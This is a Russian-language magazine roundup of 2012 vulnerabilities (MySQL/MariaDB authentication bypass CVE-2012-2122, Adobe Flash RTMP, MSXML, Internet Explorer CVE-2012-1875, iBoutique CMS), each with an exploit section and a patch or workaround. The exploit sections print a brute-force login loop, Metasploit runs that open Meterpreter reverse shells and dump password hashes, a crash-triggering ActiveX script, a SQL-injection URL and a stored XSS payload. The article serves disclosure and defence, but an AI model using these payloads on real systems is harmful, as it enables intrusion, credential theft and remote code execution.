WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Обход аутентификации в MySQL/MariaDB

  • CVSSv2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

BRIEF

Одним летним субботним вечером разработчик и координатор безопасности MariaDB Сергей Голубчик опубликовал детали уязвимости под номером CVE-2012-2122 в популярной СУБД MySQL и ее ответвлении — MariaDB. Невиданная щедрость заключается в том, что при удачном стечении обстоятельств появляется возможность подключиться к базе данных под существующим пользователем (в том числе и root, который есть всегда) с любым паролем.

EXPLOIT

Вначале немного поведаю тебе о том, как происходит аутентификация в MariaDB/MySQL. Когда пользователь подключается к базе, вычисляется токен (SHA от пароля и случайной строки), далее этот токен сравнивается с имеющимся, вычисленным на этапе создания или изменения пароля. Если значения совпадают, то пользователь успешно подключается к базе. Решение это принимается на основании возвращаемого значения функции memcmp() примерно следующим образом:

typedef char my_bool;
...
my_bool check(...) {
  return memcmp(...);
}

Проблема здесь в том, что функция check() возвращает char, а memcmp() — int. Поэтому происходит преобразование int в char, стало быть, просто берется младший байт от int. И тогда может случиться так, что memcmp() возвратила не ноль, например, 0x100 — токены не совпадают, а char в итоге получается равен нулю. Пользователь проходит, как будто пароль оказался верный. Однако далеко не везде memcmp() может вернуть значение, в котором младший байт равен нулю, а старший — нет. Джошуа Дрейк из компании Accuvant Labs разработал небольшую утилиту (pastie.org/4064638), которая проверяет возвращаемые memcmp() значения и на основании этого делает вывод об уязвимости системы. Таким образом, возможность эксплуатации данного бага сильно зависит от конкретной ОС и сборки MySQL/MariaDB.

Код утилиты, проверяющей поведение функции memcmp()
Код утилиты, проверяющей поведение функции memcmp()

В уязвимой системе вероятность успешного входа со случайным паролем равна 1/256, а простейший способ самопроверки выглядит следующим образом:

$ for i in 'seq 1 1000'; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

Если после запуска этой команды внезапно возникло приглашение консоли MySQL, то система в числе уязвимых.

Чуть позже Джонатан Кран из компании Pwnie Express разработал модуль для Metasploit, который автоматизирует обход аутентификации и дампит хеши паролей пользователей. Вот так выглядит пример работы этого модуля:

$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf  auxiliary(mysql_authbypass_hashdump) > run

[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: 
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: 
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: 
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: 
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: 
debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 
20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

TARGETS

Уязвимы все версии MariaDB и MySQL до 5.1.61, 5.2.11, 5.3.5, 5.5.22 на следующих системах:

  • Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04),
  • openSUSE 12.1 64-bit,
  • Debian Unstable 64-bit,
  • Fedora 16,
  • Arch Linux.

SOLUTION

Установить последние патчи. Кроме того, важно не забывать о первом правиле безопасности MySQL — ограничить подключение к базе из сети. Для этого нужно открыть конфиг my.cnf и в секции [mysqld] изменить параметр bind-address на 127.0.0.1, тем самым разрешив только локальные подключения.

 

Выполнение произвольного кода в Adobe Flash Player

  • CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)

BRIEF

Уязвимость в Adobe Flash Player, связанная с подменой объекта, была обнаружена еще в мае этого года. Она позволяет выполнить произвольный код на целевой системе. Тогда она эксплуатировалась при помощи документа Word с внедренным в него Flash (SWF) объектом. Но детали эксплуатации стали известны лишь недавно.

EXPLOIT

Участники проекта Metasploit проанализировали зловред, эксплуатирующий данную уязвимость. О нем я и хочу немного рассказать. В ходе анализа было обнаружено использование техники SWF’s spray, которая позволяет атакующему контролировать определенные участки памяти приложения для последующего исполнения кода в них. В конечном итоге был сделан вывод, что уязвимость проявляется при обработке сообщений AMF (Action Message Format) сервера RTMP (Real Time Messaging Protocol). RTMP — это проприетарный протокол потоковой передачи данных, в основном используется для передачи потокового видео и аудиопотоков с веб-камер через интернет.

Но триггер (код, вызывающий срабатывание уязвимости) так и не удалось выявить из-за того, что зловредные RTMP-серверы были уже недоступны. Был поднят собственный Flash Media Server, и в процессе взаимодействия он возвращал ошибку в ответ на systemMemoryCall(), но эксплойт не срабатывал. К счастью, в руки исследователей угодил PCAP-файл, содержащий лог взаимодействия зараженной машины с RTMP-сервером. Были проанализированы различия ошибок, посланных в ответ на вызов systemMemoryCall(). Как и ожидалось, к аварийному завершению Abode Flash Player приводил специально сформированный ответ об ошибке:

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444
esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0
nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c  mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c  mov eax,dword ptr [edx+2Ch]
104b1b30 53  pushebx
104b1b31 ffd0calleax

Итак, после проведения ритуала вуду в свет вышел модуль для Metasploit, позволяющий эксплуатировать данную уязвимость в Internet Explorer 6/7/8 на Windows XP SP3:

msf > use exploit/windows/browser/adobe_flash_rtmp
msf  exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf  exploit(adobe_flash_rtmp) >
[*] 192.168.1.158adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158adobe_flash_rtmp - Sending html
[*] 192.168.1.158adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process

Ошибка, возникающая в процессе взаимодействия с RTMP-сервером
Ошибка, возникающая в процессе взаимодействия с RTMP-сервером

TARGETS

Уязвимы Adobe Flash Player 11.2.202.233 и более ранние версии для Windows, Macintosh и Linux, а также Adobe Flash Player 11.1.115.7 и более ранние версии для Android 4.x и Adobe Flash Player 11.1.111.8 и более ранние для Android 3.x и 2.x.

SOLUTION

Обновить Adobe Flash Player до последней версии.

 

Выполнение произвольного кода в Microsoft XML Core Services

  • CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)

BRIEF

Уязвимость позволяет атакующему выполнить произвольный код на целевой системе, если пользователь зайдет на специально сформированную страницу через Internet Explorer или откроет зараженный документ в Microsoft Office. Ссылки на зараженные страницы могут распространяться в IM, по почте, в социальных сетях и твиттере. Уязвимость проявляется при попытке MSXML получить доступ к неинициализированному объекту в памяти, которая может привести к повреждению памяти и исполнению произвольного кода с привилегиями текущего пользователя.

EXPLOIT

Уязвимость проявляется в методе get_definition() при обращении к несуществующему XML Node. Код, приводящий к аварийному завершению Internet Explorer, выглядит следующим образом:

<object classid="clsid:6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx"></object>
<script>

document.getElementById("xx").object.definition(0);
</script>

Этот код обращается к неинициализированному объекту в памяти, но ссылка на этот регион памяти все же создается, что и приводит к потенциальной возможности выполнения произвольного кода в функции _dispatchImpl :: InvokeHelper().

Модуль для эксплуатации данной уязвимости весьма быстро стал доступен в составе Metasploit, пример его использования:

msf > use exploit/windows/browser/msxml_get_definition_code_exec
msf  exploit(msxml_get_definition_code_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(msxml_get_definition_code_exec) > set lhost 10.0.1.3
lhost => 10.0.1.3
msf  exploit(msxml_get_definition_code_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.3:4444
[*] Using URL: http://0.0.0.0:8080/xtQdbEC7QDIb
msf  exploit(msxml_get_definition_code_exec) >
[*]  Local IP: http://10.0.1.3:8080/xtQdbEC7QDIb
[*] Server started.
[*] 10.0.1.79        msxml_get_definition_code_exec - Using msvcrt ROP
[*] 10.0.1.79        msxml_get_definition_code_exec - 10.0.1.79:1564 - Sending html
[*] Sending stage (752128 bytes) to 10.0.1.79
[*] Meterpreter session 2 opened (10.0.1.3:4444 -> 10.0.1.79:1565)
at 2012-06-18 14:07:38 -0500
[*] Session ID 2 (10.0.1.3:4444 -> 10.0.1.79:1565)
processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2856)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2356
[+] Successfully migrated to process

TARGETS

Модуль для Metasploit работает в IE6/7/8/9, Windows XP, Vista и вплоть до Windows 7 SP1.

SOLUTION

На момент написания обзора официального патча доступно не было. В качестве временного решения можно порекомендовать отключить компонент ActiveX MSXML или вовсе воздержаться от использования Internet Explorer и Microsoft Office.

Кроме того, Microsoft подготовила воркэраунд в виде пакета Microsoft Fix it 50897.

 

Выполнение произвольного кода в Internet Explorer

  • CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)

BRIEF

Microsoft Internet Explorer неправильно обрабатывает некоторые объекты в памяти, что дает возможность атакующему выполнить произвольный код в системе при попытке доступа к несуществующему объекту. Полное название уязвимости в англоязычных источниках — «Same ID Property Remote Code Execution Vulnerability». Уязвимость обнаружили адепт под ником Dark Son и исследователь Йичонг Линь (Yichong Lin). Модуль к Metasploit реализовал Juan Vazquez. Уязвимости присвоен идентификатор CVE-2012-1875.

EXPLOIT

Эксплойт использует технику возвратно-ориентированного программирования (ROP) для обхода защит DEP и ASLR. Для правильной работы эксплойта необходимо наличие старой виртуальной машины Java, которая использует библиотеку msvcr71.dll без поддержки ASLR, иначе эксплойт не будет работать, а Internet Explorer продемонстрирует обычное аварийное завершение.

Техника ROP, использующаяся в эксплойте для уязвимости CVE-2012-1875
Техника ROP, использующаяся в эксплойте для уязвимости CVE-2012-1875

И снова пример действующего эксплойта можно отыскать в составе всеми любимого проекта Metasploit. Привожу пример его использования (исключительно в целях ознакомления):

msf > use exploit/windows/browser/ms12_037_same_id
msf  exploit(ms12_037_same_id) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(ms12_037_same_id) > set lhost 10.0.1.3
lhost => 10.0.1.3
msf  exploit(ms12_037_same_id) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.3:4444
[*] Using URL: http://0.0.0.0:8080/gTHJEKBboMi

[*]  Local IP: http://10.0.1.3:8080/gTHJEKBboMi
[*] Server started.
msf  exploit(ms12_037_same_id) >
[*] 10.0.1.79ms12_037_same_id - Client requesting: /gTHJEKBboMi
[*] 10.0.1.79ms12_037_same_id - Using msvcrt ROP
[*] 10.0.1.79ms12_037_same_id - Sending html
[*] Sending stage (752128 bytes) to 10.0.1.79
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.79:1685) at 2012-06-18 13:42:49 -0500
[*] Session ID 1 (10.0.1.3:4444 -> 10.0.1.79:1685) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3916)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1680
[+] Successfully migrated to process

TARGETS

Модуль в Metasploit работает в Internet Explorer 8 под Windows XP SP3 и 7 SP1, тогда как эксплойты, найденные «in the wild», пробивают большинство современных платформ Windows, включая Windows Vista и Windows 7.

SOLUTION

Установить последние обновления Microsoft.

Код утилиты, проверяющей поведение функции memcmp()Полный трейс всех стековых фреймов в упавшем IE
Код утилиты, проверяющей поведение функции memcmp()Полный трейс всех стековых фреймов в упавшем IE
 

Множественные уязвимости в iBoutique eCommerce v4.0

  • CVSSv2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

BRIEF

Девятого июня команда Vulnerability Laboratory Research опубликовала детали уязвимостей, найденных в движке для интернет-магазинов iBoutique CMS v4.0.

EXPLOIT

  1. В движке iBoutique v4.0 была обнаружена SQL-инъекция, позволяющая атакующему выполнять произвольные SQL-запросы к базе данных. Успешная эксплуатация уязвимости влечет за собой компрометацию данных приложения и базы данных. Уязвимость проявляется при обработке параметра OrderNumber скрипта index.php, при этом нам даже покажут сообщение об ошибке:
    SQL_ERROR
    
    select * from websiteadmin_orders WHERE OrderNumber=254` AND UserName=`hack`
    You have an error in your SQL syntax;
    check the manual that corresponds to your MySQL server version for the right syntax to use near `AND UserName=`hack` at line 1
    Details for order #254`
    

    Пример эксплуатации уязвимости приведен ниже:

    http://127.0.0.1:1338/iboutique/index.php?page=en_Orders&OrderNumber=258'+/*!Union*/+/*!SelEct*/+1,2,3,4,version(),6,7,8,9,10--%20-
    
  2. Также была обнаружена недостаточная фильтрация данных пользователя, позволяющая атакующему внедрить на страницу своего профиля произвольный код. Для этого нужно зарегистрироваться на сайте, а затем пройти my area > my profile > edit profile и изменить значение одного из полей (first name, last name, email, state, address и так далее) на произвольный HTML-код, например <iframe src=www.vuln-lab.com onload=alert("VL")/>. Когда админ будет просматривать страницу с пользователями или платежами в административной панели, то внедренный код исполнится в контексте администратора.

TARGETS

iBoutique eCommerce v4.0 и, возможно, более ранние.

SOLUTION

Обновить движок до последней актуальной версии.

 

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…